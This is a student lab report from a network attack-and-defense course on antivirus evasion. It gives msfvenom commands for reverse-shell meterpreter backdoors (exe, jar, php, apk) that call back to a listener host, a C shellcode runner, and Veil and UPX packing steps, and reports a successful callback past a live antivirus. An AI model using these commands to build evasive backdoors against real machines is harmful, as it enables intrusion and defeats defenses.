2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
-
一、实验说明
-
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
-
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
-
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5))
-
实验准备
-
上次实验中,我们生成了一个超可爱的后门程序,但是它有一个很明显的使用限制就是需要关闭防火墙和杀软。现如今几乎每台电脑都有安装防火墙,win10系统更是自带了防火墙,所以病毒程序毫无用武之地。
-
这次实验,就是为了让我们的病毒程序躲避防火墙和杀软的追杀,来实现更好的入侵他人电脑(不)。
-
我们将之前的后门文件放在VirSCAN.org中进行扫描看看:
-
很明显被认为是病毒了
-
我们使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
指令进行25次编码看看: -
发现没有什么用,可想而知,msfvenom被大多数人熟知,它的编码器也被很多杀软记录在库中。
-
这里我们需要学会使用msfvenom生成如jar之类的其他文件:
-
生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor_java.jar
-
生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor.php
-
生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 R > 20165330_backdoor.apk
-
好了,既然msfvenom不行,我们就换一个
-
进入veil,启动
use evasion
,设置好回连的IP地址和端口号后,使用generate
生成后门文件: -
放到virscan.org上扫描一下:
-
还是会被杀软检测出来。
-
我们利用生成的shellcode编写后门程序,半手工打造恶意软件:
-
我们使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f c
生成c语言程序的后门,使用vim
生成5225.c程序,并加入刚刚的buf和老师在课上给的主函数
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
扫描后发现一片和谐,运行的时候杀软都没有提示,但是放在
virscan.org
还是能查出来,并且有些之前感觉很菜的杀软都可以查出来...: -
再进行加壳尝试吧。使用
UPX 5225.exe -0 5225nb.exe
对生成的后门程序加壳: -
尝试在别人的电脑上回连也成功了,电脑的版本:Windows 10,杀软名称版本:腾讯电脑管家。(不能放图鸭)
-
实验中遇到的问题及思考
-
问题:安装veil到头裂都安不好
-
解决方法:拷别人的虚拟机
-
实验总结及体会
-
好讨厌安东西...从周3安到周6还是没有成功。实验本身还是挺有意义的,但是总感觉实战还是会遇到很多问题...黑别人看来也不是那么容易成功的鸭
-
二、基础问题回答
-
问:杀软是如何检测出恶意代码的?
-
通过特征码,这是比较基础的了,容易被欺骗,还有通过行为判断。
-
问:免杀是做什么?
-
通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
-
问:免杀的基本方法有哪些?
-
改变特征码:只有exe——加壳
-
有shellcode——利用shellcode生成可执行文件,有源代码——用其他语言重写再编译(php,java等),尽量使用反弹式连接、使用隧道技术、加密通讯数据等。基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。